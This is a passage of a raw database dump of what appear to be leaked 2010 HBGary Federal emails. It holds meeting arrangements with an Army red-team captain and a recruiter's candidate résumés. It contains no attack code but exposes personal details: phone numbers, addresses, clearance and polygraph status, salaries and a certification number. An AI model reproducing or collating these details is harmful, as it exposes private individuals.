-----\r\n>>>>>>> From: Aaron Barr > Date: Monday, June 21, 2010 9:36 am\r\n>>>>>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n>>>>>>> To: \"Turner, Stephen W CPT MIL USA\" >\r\n>>>>>>> \r\n>>>>>>>> Friday looks good for me. I will come to you.\r\n>>>>>>>> \r\n>>>>>>>> Let me know time and place and I\'ll be there.\r\n>>>>>>>> \r\n>>>>>>>> Aaron\r\n>>>>>>>> \r\n>>>>>>>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Classification: UNCLASSIFIED\r\n>>>>>>>>> Caveats: FOUO\r\n>>>>>>>>> \r\n>>>>>>>>> Mr. Barr,\r\n>>>>>>>>> Thanks for your briefing, I really appreciate it. I have a\r\n>>>>>>>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n>>>>>>>> this week.\r\n>>>>>>>>> Next week is pretty open for me. Where are you located? I assume\r\n>>>>>>>> up near\r\n>>>>>>>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n>>>>>>>> here it\r\n>>>>>>>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n>>>>>>>> concerning> Fidelis. She has been leading force in fighting to get\r\n>>>>>>>> monitoring tools\r\n>>>>>>>>> such as Fidelis on Army networks. If you are near Ft. Meade or\r\n>>>>>>>>> close\r\n>>>>>>>>> enough to metro area I could easily come to you. Let me know\r\n>>>>>>>> what is\r\n>>>>>>>>> convenient for you and we\'ll pick a time. Thanks\r\n>>>>>>>>> \r\n>>>>>>>>> CPT Steve Turner\r\n>>>>>>>>> \r\n>>>>>>>>> Classification: UNCLASSIFIED\r\n>>>>>>>>> Caveats: FOUO\r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>> \r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\n',10467,'aaron_hbgary_com/10467.html'),(10560,'2010-08-18','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008189.M509243P14101Q5416.eml','\"Aaron Barr\" <aaron@hbgary.com>','cand. 3','he lists reverse engineering way down...if you think he could fit something I can give him a call to get more details? he would be for MD, as he has those tickets.\r\n\r\n\r\n\r\nmaryland candidate 3\r\n\r\nLives in MD	 \r\n\r\nActive Fullscope Polygraph\r\n\r\n \r\nSUMMARY:\r\n\r\n Motivated, innovative, and versatile Hardware-Software Computer Engineer working with a TS/SI security clearance in the intelligence community since 2003, contributing to projects involving research, design, software, networking, embedded systems, digital hardware, and artificial intelligence.  Exercised qualities of leadership, organization, teamwork, and communication. Exceptional eye for improvement and the big picture without sacrificing attention to detail.  Looking to fulfill roles which involve one or more of the following: C/C++,  embedded systems, Linux, artificial intelligence, hardware development, and/or robotics.\r\n\r\n\r\n\r\nEDUCATION\r\n\r\nBachelor of Science in Computer Engineering, December 2005\r\n\r\nUniversity of Pittsburgh, Pittsburgh, PA QPA: 3.44/4.00\r\n\r\nCum Laude\r\n\r\n\r\nPROFESSIONAL EXPERIENCE\r\n\r\n \r\n\r\nConvergent Technologies, Inc.  May 2010 - Present\r\n\r\nBaltimore, MD            Mid-level Microelectronics Engineer\r\n\r\n-Developed and maintained VHDL code for moderate sized projects involving Virtex-II Pro, Virtex-E, and Virtex 5 variants of Xilinx FPGAs\r\n\r\n-Enhanced and expanded custom platforms to utilize new technologies built around COTS FPGA-based PCI and PCI Express signal processing boards\r\n\r\n-Collaborated with a small team of both local and remote VHDL engineers, while following configuration management practices utilizing JIRA, CVS, and Subversion software\r\n\r\n-Provided support for custom Linux Libraries and drivers written in C\r\n\r\n \r\n\r\nAegis, Inc.    October 2009 - May 2010\r\n\r\nColumbia, MD    Senior Engineer\r\n\r\n-Designed, developed, built, and supported communication and surveillance systems involving cellular and other wireless technologies\r\n\r\n-Exercised systems engineering and architecture skills designing new embedded systems from the ground up, involving hardware and software levels\r\n\r\n \r\n\r\nNational Security Agency  August 2003 - October 2009\r\n\r\nFort Meade, MD    Hardware-Software Engineer\r\n\r\n \r\n\r\nEmbedded Systems\r\n\r\n-Technical Experience\r\n\r\n--Software development for a C-based custom framework similar to Microsoft\'s COM platform\r\n\r\n--Network programming in C, implementation and use of custom protocols, security\r\n\r\n--Design of custom network architectures\r\n\r\n--Digital Hardware design with VHDL\r\n\r\n--Research and integration of new technologies\r\n\r\n--System Engineering and Design\r\n\r\n--Embedded Linux and eCos operating systems\r\n\r\n--ARM7, ARM9, and PPC-405 microprocessors\r\n\r\n--Xilinx Vertex FPGA\'s\r\n\r\n \r\n\r\n-Technical Accomplishments\r\n\r\n--Found and corrected flaws in base software products\r\n\r\n--Developed VHDL modules\r\n\r\n--Corrected flaws and instabilities in custom hardware platforms\r\n\r\n--Made significant improvements to software architecture\r\n\r\n--Delivered several projects\r\n\r\n--Worked on complex projects involving multiple teams and organizations\r\n\r\n \r\n\r\n-Leadership\r\n\r\n--Led a small team of developers, provided mentorship and training\r\n\r\n--Served as lead for integration and testing for a project\r\n\r\n--Led several successful projects\r\n\r\n--Helped refine software engineering and development processes\r\n\r\n--Contributed to the design and refinement of office standards\r\n\r\n--Established a new test network\r\n\r\n--Appointed as a regular presenter and participant to a technical advisory board\r\n\r\n \r\n\r\nWindows Security\r\n\r\n--Security analysis of Microsoft operating systems and the .Net framework\r\n\r\n \r\n\r\nArtificial Intelligence\r\n\r\n--Training and experience involving Expert Systems, Artificial Neural Networks, Fuzzy Logic, ARTMaps, Fully Object-Oriented programming, SmallTalk, and NASA\'s CLIPS\r\n\r\n \r\n\r\nProcessing\r\n\r\n--Research, software development, teamwork, and analysis with a complex software system\r\n\r\n--Network programming, hardware analysis, and C programming in Linux\r\n\r\n \r\n\r\n \r\n\r\nTECHNICAL QUALIFICATIONS\r\n\r\n \r\n\r\nSOFTWARE ENGINEERING:\r\n\r\nProgramming--C, C++, SmallTalk, Java, Python, CLIPS, PHP, SQL, Bash Scripting, BASIC, Pascal, HTML, XML, Perl, Cold Fusion\r\n\r\nArchitectures--ARM7, ARM9, AVR32, Motorola 6800, MIPS, NIOS, PowerPC\r\n\r\nAssembly--ARM, Motorola 6800, MIPS, x86, NIOS\r\n\r\nSystems--Linux, Embedded Linux, Unix, eCos, uC-OS2, PalmOS, Windows, MontaVista, RedHat, Fedora, Ubuntu\r\n\r\nTools--Eclipse, Visual Studio, vi, gdb, BuildRoot, OpenEmbedded, CodeWright, IdaPro, Subversion, JIRA, Clearquest, CVS\r\n\r\nConcepts--Object-Oriented Design, Formal Methods, Software Engineering, Formal Documentation and Modeling with UML, Artificial Intelligence, Database Management Systems, Embedded Systems Design, Real-Time Operating Systems, Reverse Engineering, Software Architecture\r\n\r\n \r\n\r\nHARDWARE ENGINEERING:\r\n\r\nArchitectures--ARM, AVR, MIPS NIOS, Wishbone, Virtex-II Pro, Virtex-E, Virtex 4, Virtex 5\r\n\r\nHDLs--VHDL, Verilog\r\n\r\nTools--Mentor Graphics FPGA Advantage, Altera Quarter II, HSPICE, Cadence Virtuoso, Xilinx tools, Cadsoft Eagle\r\n\r\nConcepts--VLSI, Digital Design, FPGAs, ASICs, Embedded Systems, Interfacing, Microprocessor Design, Computer Architecture, Microcontrollers\r\n\r\n \r\n\r\nNETWORK & COMMUNICATIONS ENGINEERING:\r\n\r\nProtocols--GSM, TCP, UDP, SNMP, POP3, SMTP, FTP, HTTP, SSL, SSH, Telnet, Ethernet, Token Ring, Custom\r\n\r\nConcepts--Integration and Utilization of Cellular Technologies, Network Programming, Design of Custom Protocols and Transports, Network Hardware, Network Security\r\n\r\n \r\nAWARDS\r\n\r\n \r\n\r\nPerformance-based Cash Award--2009\r\n\r\nTeam Performance Award--2008\r\n\r\nPerformance-based Time Off Awards--2007, 2008, 2009\r\n\r\n  \r\nTRAINING & ACCREDITATIONS\r\n\r\nBill Gatliff Introduction to Embedded Programming with eCos, March 2006\r\n\r\nSynthworks, Inc. Introduction to VHDL, August 2006\r\n\r\nSynthworks, Inc. Intermediate VHDL, September 2006\r\n\r\nRed Hat Linux Certified Technician, September, 2006\r\n\r\nBill Gatliff Introduction to Embedded Linux Programming, December, 2008\r\n\r\nBill Gatliff Advanced Embedded Linux Programming, January 2009\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~\r\nEd Wallach \r\nPresident & CEO\r\nEd Wallach Search Group \r\n301-365-3291 office  \r\n301-613-0629 mobile\r\n301-365-3292 fax \r\ned@wallachsearch.com\r\nwww.wallachsearch.com\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n\r\n\r\n\r\n~~~~~~~~~~~~~~~~~~~~~~\r\nEd Wallach \r\nPresident & CEO\r\nEd Wallach Search Group \r\n301-365-3291 office  \r\n301-613-0629 mobile\r\n301-365-3292 fax \r\ned@wallachsearch.com\r\nwww.wallachsearch.com\r\n\r\nRecruiting Intelligence \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n\r\n',8941,'aaron_hbgary_com/8941.html'),(10561,'2010-08-18','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297008189.M772471P14101Q5417.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting (UNCLASSIFIED)','Aaron,\r\nYes, the date and time are still the same. My boss just informed me that the location has changed from here at the office to the Hilton in Springfield. I don\'t know what room yet but I\'ll let you know. Thanks again for doing this.\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Wednesday, August 18, 2010 1:42 pm\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n\r\n\r\n> Steve,\r\n> \r\n> Just checking on on the training you had discussed. I wanted to \r\n> make sure and put that on my calendar if its a go.\r\n> \r\n> Thanks,\r\n> Aaron\r\n> \r\n> On Jun 28, 2010, at 10:04 AM, Turner, Stephen W CPT MIL USA \r\n> USINSCOM wrote:\r\n> \r\n> > Aaron,\r\n> > I just wanted to say thanks again for visiting us on Friday. I \r\n> typed up a summary of our meeting and sent it to Mrs. Brooks. Once \r\n> she gets back to me, I\'ll let you know what she has to say. \r\n> Hopefully she\'ll want to have another meeting. Thanks again.\r\n> > \r\n> > V/R\r\n> > \r\n> > -Steve\r\n> > \r\n> > DSN 703-428-4514\r\n> > \r\n> > ----- Original Message -----\r\n> > From: Aaron Barr  > Date: Thursday, June 24, 2010 9:50 am\r\n> > Subject: Re: Meeting (UNCLASSIFIED)\r\n> > To: \"Turner, Stephen W CPT MIL USA USINSCOM\"  > \r\n> > \r\n> >> ok I will spam you with a few datasheets in case you haven\'t seen \r\n> >> them (about 4). I will also bring my community badge with me. I \r\n> >> am not in JPAS but can be found in the \"other\" database. Lastly I \r\n> >> will come with an open mind to discuss a variety of aspects of \r\n> >> cyber. I have spent a lot of time on both offense and defense, \r\n> >> sitting at the national CERTs/SOCs, including 1st IO and believe I \r\n> >> have a good understanding of what is broken, what are current and \r\n> >> future challenges, and what we can do to tangibly help. I am a \r\n> >> very small company at the moment so I am looking for opportunities \r\n> >> where I can help and in turn help grow my business.\r\n> >> \r\n> >> Look forward to our conversation.\r\n> >> \r\n> >> Aaron\r\n> >> \r\n> >> On Jun 24, 2010, at 9:31 AM, Turner, Stephen W CPT MIL USA \r\n> >> USINSCOM wrote:\r\n> >> \r\n> >>> Aaron, \r\n> >>> If you have secret information you can send it to my SIPR at \r\n> >> stephen.w.turner@us.army.smil.mil. I talked to my boss, MAJ \r\n> >> Verell, this morning and she informed me that both her and Mrs \r\n> >> Brooks won\'t be able to make it tomorrow. I was hoping Mrs. Brooks \r\n> >> would have the chance to meet you. She is the decision maker when \r\n> >> it comes to recommending new policy and introducing new products. \r\n> >> I have the capability to input credited aspects of your social \r\n> >> network training into Army training, and I can discuss issues and \r\n> >> solutions with you, but that\'s it. I can also take your \r\n> >> information and pass it to Mrs. Brooks and MAJ Verell. If that \r\n> >> still works for you, I\'ll see you at 10:00. Thanks again\r\n> >>> \r\n> >>> Steve\r\n> >>> \r\n> >>> DSN 703-428-4514\r\n> >>> \r\n> >>> ----- Original Message -----\r\n> >>> From: Aaron Barr >> Date: Tuesday, June 22, 2010 6:32 pm\r\n> >>> Subject: Re: Meeting (UNCLASSIFIED)\r\n> >>> To: \"Turner, Stephen W CPT MIL USA USINSCOM\" >> \r\n> >>> \r\n> >>>> Ok great. If it is possible to pass clearances I can provide some\r\n> >>>> very interesting perspectives for you specifically. If not maybe\r\n> >>>> another time.\r\n> >>>> \r\n> >>>> Aaron\r\n> >>>> \r\n> >>>> From my iPhone\r\n> >>>> \r\n> >>>> On Jun 22, 2010, at 5:54 PM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n> >>>> >>> \r\n> >>>>> Aaron,\r\n> >>>>> I think all of these topics would be of interest for the red team in\r\n> >>>>> one way or another. I\'ll need to get our computer guys to attend\r\n> >>>>> because they know much more about the malware and computer lingo. My\r\n> >>>>> section is specifically interested in creating awareness of new\r\n> >>>>> media threats and how to protect against them.\r\n> >>>>> \r\n> >>>>> V/R\r\n> >>>>> \r\n> >>>>> CPT Stephen W. Turner\r\n> >>>>> DSN 703-428-4514\r\n> >>>>> \r\n> >>>>> ----- Original Message -----\r\n> >>>>> From: Aaron Barr > Date: Monday, June 21, 2010 9:38 pm\r\n> >>>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n> >>>>> To: \"Turner, Stephen W CPT MIL USA USINSCOM\"  >>>>> \r\n> >>>>> \r\n> >>>>>> CPT Turner,\r\n> >>>>>> \r\n> >>>>>> Let me give you a quick list of things I can talk about and you\r\n> >>>>>> tell me which ones are of the most interest. I can tailor any\r\n> >>>>>> material, etc to your interest.\r\n> >>>>>> \r\n> >>>>>> HBGary Technology that enables enterprise advanced detection of\r\n> >>>>>> advanced zero day malware.\r\n> >>>>>> 1. DDNA - Behavior based malware detection.\r\n> >>>>>> 2. Active Defense - Enterprise advanced malware detection and\r\n> >>>>>> analysis\r\n> >>>>>> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n> >>>>>> \r\n> >>>>>> Services and Thought Leadership\r\n> >>>>>> 1. CERT/SOC Operations - Technologies and Processes that enable\r\n> >>>>>> transformation of CERT/SOC operations. Knowledge management.\r\n> >>>>>> Information Sharing. New Media, Bringing Malware analysis into\r\n> >>>>>> Net Defense.\r\n> >>>>>> 2. Incident Response - New technologies and processes for more\r\n> >>>>>> efficient IR engagements with leave behind capability for\r\n> >>>>>> continuous monitoring.\r\n> >>>>>> 3. Threat Intelligence - new threats require better threat\r\n> >>>>>> intelligence to understand. Approach to threat intelligence.\r\n> >>>>>> 4. IO - A list of things better discussed in person. Novell ways\r\n> >>>>>> to implement persistent internet operations. New Media, CovCom, etc.\r\n> >>>>>> \r\n> >>>>>> I can pass my clearances if needed.\r\n> >>>>>> \r\n> >>>>>> Aaron\r\n> >>>>>> \r\n> >>>>>> \r\n> >>>>>> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA\r\n> >>>>>> USINSCOM wrote:\r\n> >>>>>> \r\n> >>>>>>> How about 10:00 here at metro park. I figure the traffic should\r\n> >>>>>> good by then and you can still get out of here before the Friday\r\n> >>>>>> traffic starts again. If that time doesn\'t work let me know and\r\n> >>>>>> we\'ll pick another one. The address is:\r\n> >>>>>>> 6359 Walker Lane, Alexandria, VA 22310\r\n> >>>>>>> Once you get here you can give me a call at 703-428-4514 and\r\n> >>>>>> I\'ll meet up with you. We\'ll be meeting with the Army Red Team\r\n> >>>>>> Chief, MAJ Verell, and the Vulnerability Assessment Detachment\r\n> >>>>>> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics\r\n> >>>>>> that you would like to discuss. Again, thanks for taking the time\r\n> >>>>>> to speak with us.\r\n> >>>>>>> \r\n> >>>>>>> Very Respectfully,\r\n> >>>>>>> \r\n> >>>>>>> CPT Stephen W. Turner\r\n> >>>>>>> DSN 703-428-4514\r\n> >>>>>>> \r\n> >>>>>>> ----- Original Message -----\r\n> >>>>>>> From: Aaron Barr  Date: Monday, June 21, 2010 9:36 am\r\n> >>>>>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n> >>>>>>> To: \"Turner, Stephen W CPT MIL USA\" \r\n> >>>>>>> \r\n> >>>>>>>> Friday looks good for me. I will come to you.\r\n> >>>>>>>> \r\n> >>>>>>>> Let me know time and place and I\'ll be there.\r\n> >>>>>>>> \r\n> >>>>>>>> Aaron\r\n> >>>>>>>> \r\n> >>>>>>>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n> >>>>>>>> \r\n> >>>>>>>>> Classification: UNCLASSIFIED\r\n> >>>>>>>>> Caveats: FOUO\r\n> >>>>>>>>> \r\n> >>>>>>>>> Mr. Barr,\r\n> >>>>>>>>> Thanks for your briefing, I really appreciate it. I have a\r\n> >>>>>>>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n> >>>>>>>> this week.\r\n> >>>>>>>>> Next week is pretty open for me. Where are you located? I assume\r\n> >>>>>>>> up near\r\n> >>>>>>>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n> >>>>>>>> here it\r\n> >>>>>>>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n> >>>>>>>> concerning> Fidelis. She has been leading force in fighting to get\r\n> >>>>>>>> monitoring tools\r\n> >>>>>>>>> such as Fidelis on Army networks. If you are near Ft. Meade or\r\n> >>>>>>>>> close\r\n> >>>>>>>>> enough to metro area I could easily come to you. Let me know\r\n> >>>>>>>> what is\r\n> >>>>>>>>> convenient for you and we\'ll pick a time. Thanks\r\n> >>>>>>>>> \r\n> >>>>>>>>> CPT Steve Turner\r\n> >>>>>>>>> \r\n> >>>>>>>>> Classification: UNCLASSIFIED\r\n> >>>>>>>>> Caveats: FOUO\r\n> >>>>>>>>> \r\n> >>>>>>>>> \r\n> >>>>>>>> \r\n> >>>>>>>> Aaron Barr\r\n> >>>>>>>> CEO\r\n> >>>>>>>> HBGary Federal Inc.\r\n> >>>>>>>> \r\n> >>>>>> \r\n> >>>>>> Aaron Barr\r\n> >>>>>> CEO\r\n> >>>>>> HBGary Federal Inc.\r\n> >>>>>> \r\n> >> \r\n> >> Aaron Barr\r\n> >> CEO\r\n> >> HBGary Federal Inc.\r\n> >> \r\n> \r\n',2163,'aaron_hbgary_com/2163.html'),(10562,'2010-08-18','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008189.M87934P14101Q5415.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Cyber Recruits!','Hi Aaron,Here\'s my fee agreement for your review and signature. No fees are due until someone reports for work! Then I split the payment in 2. one when they start, the other 30 days later.here\'s the info on both...am getting more resumes together tp send you for review....edCandidate 1 only has a CI poly. He will commute for the right opportunity. he\'s getting out of the navy and wants more challenging work. (Yes I am currently enlisted in the US Navy on active duty since 2000. &nbsp;My separation date is November 4, 2010. &nbsp;I intend to use my current balance of leave to take October off. &nbsp;This allows me to begin full time employment a month early. &nbsp;Let me know if you have any other questions. &nbsp;Thank you.) He\'s making hi 70\'s in the navy but has a few contingent offers in the 130K range... I have him interviewing with SI Government solutions, a raytheon co. this week...candidate 2 in his own words:&nbsp;&nbsp;I am interested in moving into the area of forensics and network analysis.&nbsp; This position looks as though it requires more technical and engineering experience than I currently have.&nbsp; I am interested in moving into a intrusion detection and incident response position.&nbsp; I perform vulnerability assessment and worked in security documentation prior to that.&nbsp; I just received my CISSP in May and am very interested in moving into more of a analysis and investigative position.&nbsp; Does your company have any positions in that area of InfoSec? &nbsp;he would certainly entertain the idea of relocating, but only temporarily. That would not be his first choice though, He owns a house in Baltimore County and would like to stay in the Ft. Meade area or in&nbsp;the&nbsp;Baltimore/Washington area. He has received a contingent from another company&nbsp;for 125K, 6 weeks PTO and 10 Federal holidays, but he is waiting to hear more on the offer. So he is looking to&nbsp;make 125K, based on his current&nbsp;compensation package and the contingent.&nbsp;On Aug 18, 2010, at 12:52 PM, Aaron Barr wrote:ok so the second resume fits the clearance bill, experience is a bit junior but might work, let me as the prime some questions. &nbsp;What type of salary is person looking for?The first resume has the right skills but for MD not the right clearances. &nbsp;Is he willing to commute at all? &nbsp;I could probably place him on ESOC. &nbsp;Salary might be bit high though have to check.AaronOn Aug 18, 2010, at 10:23 AM, Ed Wallach wrote:Hi Aaron,I\'m available this week to discuss recruiting for HB Gary.We have a number of highly qualified candidates we have recruited for our other clients. These include VR, Ethical hacking, Pen Testing, reverse engineering, most with at least a ts/sci and some with fullscope polys.My office is right near montgomery mall.I\'m ready to roll when you are!Edhere\'s a few samples below:1)candidate 1Lives in MDDesires $120K MinimumTop Secret SCI Clearance until 2013Need more challenging work than Navy provides. &nbsp;Focus career path in a large company with room for growth.&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Bachelor of Science in Information Systems Security, MAGNA CUM LAUDE; Certified Information Systems Security Professional (CISSP) 363829;&nbsp;Certified Ethical Hacker&nbsp;(CEH); EC-Council Certified Security Analyst (ECSA); Computer Hacking Forensics Investigator (CHFI).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Multidisciplinary management &amp; technical experience – enterprise wide IC IA policy development, CNA/CND/CNE, Technical Assurance, EAL, NIST, DIACAP, INFOCON, STIG, IAVM, risk mitigation strategies, penetration testing,&nbsp;vulnerability assessment, intrusion detection/response, Nessus, Snort, Metasploit,&nbsp;Common Vulnerabilities and Exposures&nbsp;(CVE), Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, digital network intelligence &amp; analysis, exploitation testing.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Top Secret Sensitive Compartmented Information clearance and Counter-Intelligence Polygraph, valid from 2000 through 2013.&nbsp;&nbsp; &nbsp; Member of Institute of Electrical and Electronics Engineers (IEEE) since January 2006, Member of Association of Information Technology Professionals&nbsp;(AITP) since January 2007, advisor to the AITP Chairman of Standards of Conduct and Code of Ethics Committee, Member of National University Cyber&nbsp;Security Information Assurance Advisory Counsel, HOA Secretary for 109 unit community.&nbsp;&nbsp;Published contributing author, published IEEE GOLD newsletter article, webinar speaker, and public conference speaker.EMPLOYMENTNavy Information Operations Command Suitland&nbsp;(research &amp; development agency for the US Navy)	Dec 07-PresentComputer Network Operations (CNO) Research &amp; Development Manager&nbsp;| Tech: Wireshark, Snort, IDA Pro, ProcessExplorer, Strings, Web Application Attack and Audit Framework (w3af),&nbsp;Common Vulnerabilities and Exposures (CVE) and Nessus vulnerability scanner.Manage 10 person technical team multi-million dollar projects. Experience in program management, request for proposals, product deliver, software application user acceptance testing/evaluation, man-train-equip personnel strategy, technical assurance software evaluation level of assurance processes and software development life cycle procedures supporting the federal landscape.The Computer Network Defense Group LLC&nbsp;(cybersecurity information assurance consulting firm)		Oct 08-PresentChief Executive Officer&nbsp;| Tech: Nessus, Snort, Metasploit, Web Application Attack and Audit Framework (w3af), eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, NMAP, and open source intelligence collection analysis tools.Chief Cyber Security Consultant, lead penetration testing teams, vulnerability assessments and risk mitigation assessments.&nbsp;Business acumen: Procured two professional consulting service agreements, two statements of work, one paid sponsor agreement; Experience in&nbsp;drafting RFP responses, business development, service development and delivery, marketing, and advertising.United States Cyber Command&nbsp;(formally Joint Functional Component Command – Network Warfare)	Aug 08-Dec 08Computer Network Operations Subject Matter Expert, Senior&nbsp;| Tech: tcpdump, Hping, wget, Dragon IDS, Cisco devices, SonicWALL.Managed team of 15 persons, responsible for coordinating offensive computer network operations for the United States Department of Defense and other federal agencies. This component facilitates cooperative engagement with other national entities in computer network defense and offensive information warfare as part of the global information operations mission.Navy Information Operations Command San Diego											Oct 05-Dec 07Computer Network Defense Operations Manager&nbsp;|Tech: Encase, RealSecure IDS, Snort IDS, eEye Retina Network Security Scanner, IBM Proventia Network Enterprise Scanner, Nessus vulnerability scanner, NMAP, and Common Vulnerabilities and Exposures (CVE).Directed 300+ vulnerability and penetration security assessments on 300+ networks. Managed overall network security team of 25 persons and 18 networks across the Pacific Ocean.&nbsp;Lead instructor of passive network analysis, log analysis, intrusion detection, defensive tool installation and configuration for 100+ local customers and 100+ global customers across the Pacific Ocean.Fleet Information Warfare Command, Detachment San Diego									Oct 04-Oct 05Computer Network Defense Analyst, Senior&nbsp;|Tech: Nessus, Snort, IDSCenter, Encase, iptables, tcp wrapper, Ethereal (a.k.a. Wireshark).·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed incident response team for Commander, U.S. Naval Forces Central Command; Commander, U.S. Fifth Fleet. Led 150+ vulnerability and penetration security assessments on 300+ networks. Managed 50+ incident response conditions and 20+ incident response teams for Commander, Third Fleet; Commander, Seventh Fleet; and Commander, Fifth Fleet.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Senior instructor of security courses focusing on vulnerability scanning, vulnerability analysis, event monitoring and compliance reporting, incident handling, and penetration testing for 100+ customers.Fleet Intelligence Training Center Pacific, San Diego											Aug 03-Oct 04Communications Watch Officer&nbsp;|Tech: Unix/Solaris/Windows 2K, T1/OC, DMS, encryption devices, Cisco devices, Symantec Security Center.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Network Operations Center lead systems administrator for 1,000+ customers and 2,000+ communications circuits ranging from west of the Mississippi river to the Hawaiian Islands.USS HIGGINS (DDG-76) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;													Oct 00 - Aug 03Systems Administrator&nbsp;|Tech: Unix/Windows NT enterprise network, Cisco devices, Norton Anti-virus (enterprise), Office 2000.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sensitive Compartmented Information Automated Digital Network Systems (SCI-ADNS) shift worker responsible for Ship Signals Exploitation Space (SSES) global network connectivity which included 20 voice and data circuits and three networked domains.EDUCATIONWestwood College, Denver, CO															May 09BS in Information Systems Security	Magna Cum Laude (GPA 3.97)MILITARYUnited States Navy Active Duty															Oct 00 - Present·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Experienced in Information Operations, (a.k.a. Information Warfare), Computer Network Operations: Computer Network Defense, Computer Network Exploitation and Computer Network Attack.&nbsp; Received various personal commendations and awards.2)candidate 2Lives in MDSECURITY CLEARANCE&nbsp;Department of Defense TS/SCI security clearance, with a current Full Scope Polygraph.&nbsp;PROFESSIONAL CERTIFICATION:&nbsp;Certified Information Systems Security Professional (CISSP).WORK EXPERIENCE&nbsp;Computer Sciences Corporation-Enforcement, Security and Intelligence Division –Information Systems Security Officer-February, 2009 to Present.Perform vulnerability assessment scans on production and operational network servers and workstations.Monitor adjustments, updates and changes made to all production and operational servers and workstations, using Tripwire configuration monitoring tools.&nbsp;Assist in providing oversight and enforcement of security directives, orders, standards, plans and procedures.Enforce all information system security procedures in reference to the production, testing, certification and accreditation, and deployment of information systems.&nbsp;Review system security plans and concept of operation documentation to ensure system configuration accuracy.&nbsp;Computer Sciences Corporation/Eagle Alliance- Information Systems Security Officer -August, 2006 to February, 2009.Member of a team responsible for investigating computer security incidents, and reporting recommendations through established channels of authority to mitigate risks or enact change.Maintained critical System Security Plans (SSP’s) for a government client and provides customers with Certification and Accreditation (C&amp;A) assistance, for all inquiries and concerns with respect to installation, operation, maintenance, configuration management and protection of classified and unclassified network devices.Performed life cycle responsibilities and advises modernization change boards, regarding current security posture and repercussions to existing accreditation during modernization.&nbsp;One of the centralized contacts of the Information Security program advising client personnel on policy and good security practices.&nbsp;Conducted monthly briefings to newly hired personnel, with regard to Information Systems Security and proper reporting procedures during the event of a computer security incident.&nbsp;IKON Office Solutions- February, 2006 to August, 2006. &nbsp;Sales representative of document management devices and Multi-Functional Processors (MFP’s, printers, scanners, copiers and other software and professional services).Provided customer support and training for IKON Office Solutions business accounts.Performed various canvassing and marketing activities, to identify and acquire new business.&nbsp;National Security Agency Police Officer, December 13, 2004 – February, 2006.&nbsp;Conducted a myriad of law enforcement and physical security duties for the Department of Defense, in protection of their assets and personnel.Performed a variety of tasks in support of the police department’s main mission, which is counter-terrorism and force protection.Composed numerous incident reports on mitigation of security, medical, and fire emergencies.Managed and controlled personnel access, through monitoring pedestrian and vehicular access points.Responsible for the enforcement of laws and regulations, both federal and state, relative to the protection of life and property.Conducted routine investigation of any possible breach of security or compromise of classified material.United States Navy/ December 19, 1995 – April 27, 2004.&nbsp; Honorable service and discharge.&nbsp;Integrated Undersea Surveillance Systems Supervisor, Acoustic Intelligence Analyst, U.S. Navy,2001- 2004Supervised watch personnel during analysis, tracking and reporting of time critical acoustic contacts, in support of Atlantic Fleet operations.Professionally supervised watch team members, while participating in over 95 different command missions.Provided positioning and acoustic data on over 285 contacts, in support of Noble Eagle and Homeland defense.Suggested improvements to watch station procedures, which resulted in smoother operations and lower volume of classified paperwork.Developed search areas for 